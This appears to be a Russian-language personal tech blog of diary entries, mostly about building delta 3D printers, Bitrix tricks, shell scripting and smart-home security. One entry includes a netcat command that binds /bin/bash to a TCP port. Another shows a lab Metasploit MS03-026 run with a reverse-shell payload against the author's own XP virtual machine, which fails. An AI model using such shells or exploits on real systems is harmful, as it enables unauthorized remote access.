06:57

домовой
1. хорошо что китайцы не доверяют своему софту и телефоны с несъемным акб имеют либо
специальную кнопку ресет либо сочетание кнопок вызывающих ресет.

2. неожиданно скоро потребовался самописный бот на роутере. после звонка родителей утверждавших что ничего не работает, выяснилось, что роутер работает а интернета нет на самом планшете. ребут помог, но это не выход а полумера.

3. выяснилась модная фича : на приличной части мобильных устройств можно малой кровью настроить включение планшета при подключении питания.
достаточно только перезагрузить планшет в fastboot и скомандовать fastboot oem off-mode-charge 0 (начальник захотел сунуть старый планшет в машину)

12:46

домовой
зашла речь о смарт зомбоящиках. вспомнил о том как занимался технохентаем с творениями фирмы крафт. посетовал что нельзя ходить покупать смарт тв с ноутбуком и nmap. понял что я не хочу смарт тв

08:12

домовой
тараканы в голове потребовали жертв собственный сервис для мониторинга своих машин находящихся абы где в интернете за nat. и особо неудобного выполнения произвольных команд на этих машинах.

в итоге родился совсем не безопасный ужас.

надеюсь теперь тараканы успокоятся и отстанут на некоторое время.
серверная часть


клиентская часть



upd:под ash клиент пришлось немного переписать

upd2:сильно хочется написать разумное доброе светлое на тему удаленного управления андроидом.

upd3:
нужно будет изменить таблицы и скрипт чтобы в логе команд был timestump времени когда пришел кошерный ответ

05:16

домовой
Похоже прав гер Дмитрий Соркин. Собранная и настроенная дельта это скучно.

1. экструдер и коробка с платой sanguinololu от разобранного на детали 101hero перекочевали
в самосборный принтер.

2. для экструдера напечатан свой эффектор. В который раз убеждаюсь что подвесить эффектор на магнитах это гениальная идея.

3. клиппер перенастроен на двухконтроллерную конфигурацию. sanguinololu будет рулить экструдером. arduino с cnc shield соответственно будет рулить моторами башен.

4. для удобного управления конфигом клиппера, немного переписал systemd юнит. теперь можно выбрать с каким конфигом будет работать клиппер.


на выходе получил почти бесшумный принтер c легким директ экструдером
почти бесшумный означает что моторы на "башнях" и экструдер не слышно вообще. слышно только два вентилятора и тихий треск от сопла когда оно цепляет за слои.
upd:
из неудачного : не учел что и хотенд и экструдер должны быстро сниматься. так что пришлось снимать весь кусок касающийся хотенда включая концевик и мосфет.
неправильно указал тип термистора есть енебольшой перегрев.
upd2: экструдер от 101hero не успевает греть или выдавливать нужное количество пластика. модель получается слишком рыхлой и хупкой. пришлось снять.

@темы: 3d

домовой
1. готовые решения 1C bitrix лежат в папке /bitrix/wizards/
2. если скопировать соответствующую папку на другой сервер с 1C bitrix то ядро битрикс с вероятностью 90% примет решение и не будет возмущаться.
3. в мастере установки решения иногда бывает код извещающий создателей о том что их решение ставится на такой то битрикс


как превратить товар в комплекты в битрикс без import_xml и смс

element_id- заголовок комплекта
part_id - части комплекта
cnt_in_compl - количество этой самой части

1. на заголовке комплекта в catalog_product меняется тип записи на 2.
update b_catalog_product set type=2 where id=element_id

2. в b_catalog_product_sets вписывается строка
insert into b_catalog_product_sets (TYPE,SET_ID,ACTIVE,OWNER_ID,ITEM_ID)
values(1,0,'Y',$element_id,$element_id)


3. выбирается ид вставленной строки
$compl = mysqli_insert_id ()

4. потроха комплекта вносятся командой
insert into b_catalog_product_sets (TYPE,SET_ID,ACTIVE,OWNER_ID,ITEM_ID,QUANTITY,MEASURE)
values(1, $compl,'Y'element_id, $part_id,$cnt_in_compl,0)


@темы: заметки и советы

06:58

домовой
открыл для себя фокусы вида
1. есть некий произвольный tcp сервер принимающий и отдающий данные
nc -l -p 1234 -e /bin/bash
2. c помощью команды socat можно превратить соединение с этим сервером в файл pty
socat PTY,link=/tmp/mypty tcp-connect:127.0.0.1:1234
3. далее с этим файлом можно работать как с com портом
screen /tmp/mypty


изменить приоритет приложения в андроид
su
renice 0 123454

где 0 приоритет приложения а 123454 это pid процесса


хм... надо в порядке эксперимента убить октопринт и попытаться зацепиться за клиппер командой screen

@темы: заметки и советы

06:26

домовой
принтер печатает как положено.
посчитал примерную стоимость. вышло печально. 11 тыс только на то, что пошло в принтер. наверное еще 5 тыс ушло на ошибки и эксперименты.

Единственное утешение: детали закупались в течение примерно 5 лет и на бюджет никак не влияли.
Итого: вероятно дешевле было бы купить kossel и не маяться дурью.

@темы: 3d

12:11

домовой
итак промежуточные выводы из попытки сделать классический упрощенный дельта 3д принтер
1. хотенд: ему обязателен обдув. без него радиатор за 15-20 минут греется до температур плавления пластика. И все станет грустно.

2. Магнитный подвес: дешев и даже не сильно сердит. за максимум 400 руб можно купить 12 шариков и 12 магнитов под эти шарики. Это сильно дешевле, чем самый дешевый рыбий глаз за 50-100 руб штука. да еще и с люфтом.

3. Карбоновые тяги/штанги: не нужны . По крайней мере до тех пор пока вам не придет в голову блажь задирать скорость до 100+ мм/сек. Гораздо проще купить в леруа пару метров шпильки м4. Получится в 6 раз дешевле а разницу вы на малых скоростях скорее всего не увидите. найдены карбоновые трубки за ~5 зеленых. можно не экономить

4. Шкивы и ремни: тупо надо при покупке проверить что ширина ремня и ширина шкива одинаковые. А не покупать на шкивы 6 мм ремень в 10 мм. Ну и на nema17 чем меньше шкив тем лучше. Для тихоходных byj28-48 наоборот совсем маленькие шкивы не нужны( и так скорость дико низкая).

5. Кабель менеджмент станет вашим кошмаром.

6. Tmc2208 тихие но горячие. Готовьтесь к тому что их надо обязательно обдувать. А места не так чтобы сильно много. И в итоге может быть весьма шумно от вентиляторов.

7. Если у вас прошивка клиппер, то вам почти пофиг на новые большие и модные ARM платы управления. вы можете сделать принтер даже на cnc shield +atmega8. единственное что вам обязательно нужно это компьютер.

8. Все же в случае дельта принтера и клиппера лучше сделать многоконтроллерную конфигурацию.
Нагрев, концевик , обдув радиатора и обдув модели идеально было бы поместить на мк непосредственно около радиатора хотенда . Так чтобы к подвешенной платформе приходило лишь 4 провода и тефлоновая трубка. Да, к компьютеру придется подключать еще один usb uart. Но я бы сказал что это меньшее зло чем пучок проводов.

Upd:
9. Каретки: Возможно это неожиданно но без ремня каретки должны падать вниз. Не медленно скатываться с шорохом и шелестом а именно падать. Причем все три каретки должны падать с примерно одинаковой скоростью. И само собой не люфтить.

10. Openbuilds каретки и платформу эффектора не обязательно печатать. Доказано юзером хабра с ником pavlog. Проверено на себе.

11. Блоки питания светодиодной ленты от iek не подходят для принтера.
один на 4 ампера начал испускать волшебный дым через 2 часа экспериментов.
второй на 8 ампер отработал где то 6 часов под нагрузкой, после чего начал пытаться умирать.
Возможно я чего то не знаю про свой принтер. но на моторах выставлен ток чуть меньше ампера, а нагреватель не должен потреблять больше двух ампер в пике.

upd2:
12. чтобы быстро печатать необходимо задрать температуру на 10-15 градусов.

@темы: 3d

05:22

домовой
хм... при чтении хабра я вспомнил несколько php проектов web application firewall, требующих для своей работы отдельной базы данных. и на каждый запрос стучатся в базу.

Вспомнил как 20-40 неправильных запросов на странице да 200 раз в минуту загоняли восьмиядерный серверный процессор в loadavg=50+, попутно занимая ВСЕ разрешенные соединения к бд.

и крутится у меня мысль вида : а действительно ли такие WAF будут защищать сервер? или же они станут слабым звеном создающим дополнительную громадную нагрузку на сервер?

домовой
1. Фигня случается. Не верьте в то что софт будет работать как положено. закладывайте обработку ошибок.
тупой пример из жизни
Скрипт синхронизации файлов имеет вид
mount nfs_or_samba_or_ceph_etc:/share /mnt
rsync -avr --delete /mnt/ /backup
umount /mnt


Тупо, банально, надежно как топор .Казалось бы что может пойти не так? На практике оказывается, что сервис доступа к файлам внезапно может умереть. В том числе и железно. И не важно самоделка на дебиане это, сервер с проверенным миллионами людей дистрибутивом NAS, или железная NAS за много миллионов руб.
следствие : монтирование не произошло. папка mnt пуста.
А дальше все ... rsync радостно удаляет все из папки получателя ибо папка источник пуста.

upd а надо было всего лишь написать
mount nfs_or_samba_or_ceph_etc:/share /mnt && \
rsync -avr --delete /mnt/ /backup && \
umount /mnt


2. 404 страница должна формироваться без обращения к СУБД. И закладывать это утверждение желательно на этапе построения движка. Ибо потом может быть очень больно.
Десяток не существующих картинок размещенных в теле какой нибудь странице открываемой допустим 200 раз за минуту похоронят сайт жертву.

3. любой механизм обработки человекопонятных адресов должен иметь белый список кошерных вариантов адреса.

@темы: заметки и советы

06:11

домовой
при сборке нового дельта принтера я что-то сделал не так.
Пластик встает комом прямо в тефлоновой трубке и застревает при попытке сдвинуть его вперед или назад. похоже упирается в металлические детали фиттинга, которым трубку соединяют с деталями принтера.
а еще мне не нравится поведение хотенда. иногда он не греет.

почему так? а Ками его знает.
возможно неправильно стоит термистор и температура завышается. а иногда срабатывает умная защита которая видит что нагрева нет и отключает принтер. возможно что то не так с проводами нагревателя.

возможно не хватает охлаждения. надо попробовать прикрутить какой-нибудь кулер. куда получится. ибо каретки и платформа сделаны из фанеры и отходов жизнедеятельности.

возможно виновата тефлоновая трубка. проверю когда придет новая. пока могу разве что залить пару капель машинного масла.

возможно кривые руки. в этом случае не поможет даже дыба.

upd
залил термистор термопастой.
прикрутил к платформе кулер, запитал напрямую от бп.
залил пару капель масла в трубку.
пока подача пластика работает как положено.

на очереди вторая часть ужасов нашего городка: калибровка дельта принтера.
upd2
а на седьмой день зоркий глаз увидел что шкив подачи зубчатого ремня не закреплен на валу.

@темы: 3d

05:40

домовой
очевидное, но ... когда пишете под какой-нибудь серьезный проект с сотнями тысяч клиентов во всем мире НЕ ДОВЕРЯЙТЕ ЕМУ. ОТ СЛОВА СОВСЕМ.

как всегда надо было сделать "еще вчера, красиво, но не так"
вид статьи в списке должен меняться в зависимости от ее позиции на странице. Ну и я поверил что раз 5 лет битрикс отдавал массив новостей с индексами 0,1...n значит так будет всегда. И как всегда "никогда такого не было и вот опять".. внезапно после обновления битрикс индексы в массиве новостей стали совпадать с id новости.


а еще внезапно и неожиданно вычитал что в lineage os 17 не будет дополнения addonsu. Ссылаются на то что в гугле поломали все самое вкусное.

@темы: заметки и советы

17:58

домовой
Кажется я вступил в секту поклонников tmc2208. Но они заразы того стоят. Три мотора, которые грохотали как будто кто-то шкаф пинает в попытках сдвинуть, теперь тихо мурчат

@темы: 3d

11:52

домовой
Рассказали мне на работе о страшном горе для обладателя смартфона. одним движением руки обладательница инопланетного корейского аппарата стерла много Гб изображений с карты. И даже неизвестно что там было.

я дал совет вынуть карту памяти сунуть в картридер и воспользоваться чем-нибудь для восстановления данных. А сам задумался о том что неплохо было бы если бы на смартфоне жила программа для синхронизации данных с домашним пк.
требования просты и банальны
1. соединение через ssh. желательно чтобы больше ничего не требовалось.
2. по событию с помощью rsync/ sftp /scp копируется содержимое папки смартфона.
необязательные модные хотелки

  • копирование телефонной книги (хотя бы на пк)

  • копирование календарей аналогично.

  • терминал

  • отправка уведомлений на пк

  • удаленная клава /мышь по мотивам xmouse


соответственно хочется в итоге: входишь в домашнюю сеть.
программа автоматизатор проверяет включен ли пк
если (пк включен и (заряд батареи больше допустим 45% или телефон на зарядке) )
1. отправить все измененные файлы с устройства
2. отправить телефонную книгу
3. отправить календарь
4. скопировать новые файлы из общей папки пк (опционально)
5. включить отправку уведомлений на пк (как именно пока не ясно )
6. удаленная клава и крыса ( в обе стороны. тоже пока не ясно как именно ибо barier и xmouse как то существуют)

12:41

домовой
Нельзя мне ютуб смотреть. Слушая расхваливание блохеров соблазнился покупкой usb паяльника в формате ручки. Дело было пару лет назад.. что я могу сказать..
0. Заявленная мощность паяльника 8 ватт.
1. Сопротивление нагревателя 6 ом
2. теплоемкость жала никакая. (22-400 градусов меньше чем за 1 минуту. 400-22 аналогично.)
3. Следствие паяльник греется до температур в 400+ градусов чтобы запаса энергии хватило чтобы запаять деталь/провод.. Припой с флюсом при этом превращается в непаяющееся нечто черного цвета.
4. Тип жала конус. Брать такое имеет смысл только если вы привыкли к такому и вам удобно.
5. В ручке спрятан одновибратор на 555 таймере. чтобы включить нагрев надо коснуться шарика на корпусе ручки. Наводок хватает чтобы открыть одновибратор.
6. При нестабильном питании Паяльник будет включен постоянно

Из плюсов... разве что эффект термопары на самом жале. Так что теоретически можно сделать термоконтроль на оу по мотивам схем для жал т12.
Вот только
1. жало неудобное
2. сколько выдержит нагреватель при повышенном напряжении не ясно.(время , ток , мощность)
3. отсутствие этой самой теплоемкости у самого жала вероятно прмведет к тому что температура будет скакать на ±50°с.. что уже несколько много.

С одной стороны интересно было бы попробовать. С другой понимаю что овчинка выделки не стоит

домовой
временно соорудил себе предельно суровый костыль на тему : если при запуске скрипта внешний ip адрес не равен записанному в файле, то обновить адрес на сервисе предоставляющем ddns

#! /bin/bash
aaa=`wget -q -O - ifconfig.co`;
if grep -qx "$aaa" /tmp/ext_ip.log
then
echo ok
else
echo "$aaa" >/etc/ext_ip.log
# wget обновление адреса на dyndns
fi

upd: обновлено
Grep -x
$aaa заключено в кавычки

04:54

домовой
плюс две программы в рабочее окружение
1. rtl_power - консольный сканер частот. принимает минимальную частоту ,максимальную частоту и шаг изменения частоты. пишет бесконечный csv файл.

2. qspectrumanalyzer - gui к rtl_power. рисует водопад и график пиков.

да, обе программы неторопливы но они весьма кошерны и не напрягают пк.

@темы: sdr

домовой
Нашел видеоруководство по взлому xp для самых маленьких и тупых..
есть виртуалка с жертвой
есть прошлогодний кали. новый качать лень.

гордо запускается msfconsole... оно живое, оно работает.
скан жертвы... бесконечен
брандмауэр форточки по умолчанию включен и в роли фильтра сетевых пакетов даже неплох. особенно если требуется всего лишь разобрать, заголовок пакета на предмет типа протокола ip и может быть порта.

выключаю брандмауэр

пишу как советуют
use exploit/windows/dcerpc/ms03_026_dcom
set payload windows/shell_reverse_tcp
show options
set RHOSTS .....
set LHOST .....
run
И НИЧЕГО

@темы: windows, взлом

21:28

домовой
Задумался над безрассудностью пользователей умного дома. Мне как-то слишком дико осознавать, что после установки умных розеток и выключателей ты не являешься их владельцем. И администратор базы данных площадки, куда тычутся устройства, может одной ошибкой включить или выключить все.

функционал делится на две части:
1. порулить своими устройствами с смартфона, планшета или пк.
В первом приближении площадку можно изобразить как 3 скрипта и 3 таблицы
Таблицы:
Пользователи, Устройства, Устройства пользователя
Скрипты
Логин, список устройств,Апи
2. при выполнении неких условий сделать что-то. реализуется весьма дурной логикой. думать о ней пока не хочется.

upd
И вот что меня заинтересовало через двое суток попыток отбиться от тараканов предлагающих написать свою систему управления вумным домом...

доверяет ли площадка своим устройствам?
1. что будет если кто-то представится устройством пользователя и начнет вещать о пожаре , открытых окнах, потопе и т д.
2. что будет если ид девайса будет содержать кавычку?
3. можно ли захватить управление не своим устройством?

21:00

домовой
открыл для себя Василия Васильевича Ершова. Теперь не могу смотреть на всю альтисторию где обыкновенный российский студиозус прыгает в кабину истребителя после чего начинает причинять добро и справедливость в небе над брестом питером сталинградом и т д.

1. искусство управления самолетом не эквивалентно "дергать за штурвал". это самое меньшее из того что делает пилот ЛА. помимо этого есть увлекательные задачи
"найди на карте где именно ты сейчас находишься"
"уговори самолет лететь на заданной высоте и с заданной приборной скоростью вне зависимости от поведения термиков и направления ветра "
"не разбей самолет о впп при внезапно изменившемся ветре"

2. В интернете оказывается не сложно найти и текстовые и видеоинструкции по управлению штурмовиками и истребителями второй мировой войны. И знаете что я вам скажу? Они хоть и рассчитаны на пилота пришедшего иэ ДОСААФ но простыми их назвать нельзя. Вероятно потому что пилотов весьма качественно учили. и они понимают зачем штурмовику ил-2 нужно две пневмосистемы, радиатор охлаждения масла и что за дико странный механизм управления сбросом бомб стоит на самолете и как им пользоваться.. А так же понимают откуда идут корни того шаманского ритуала который выполняется при запуске и прогреве двигателя.

@темы: Первым делом мы испортим самолеты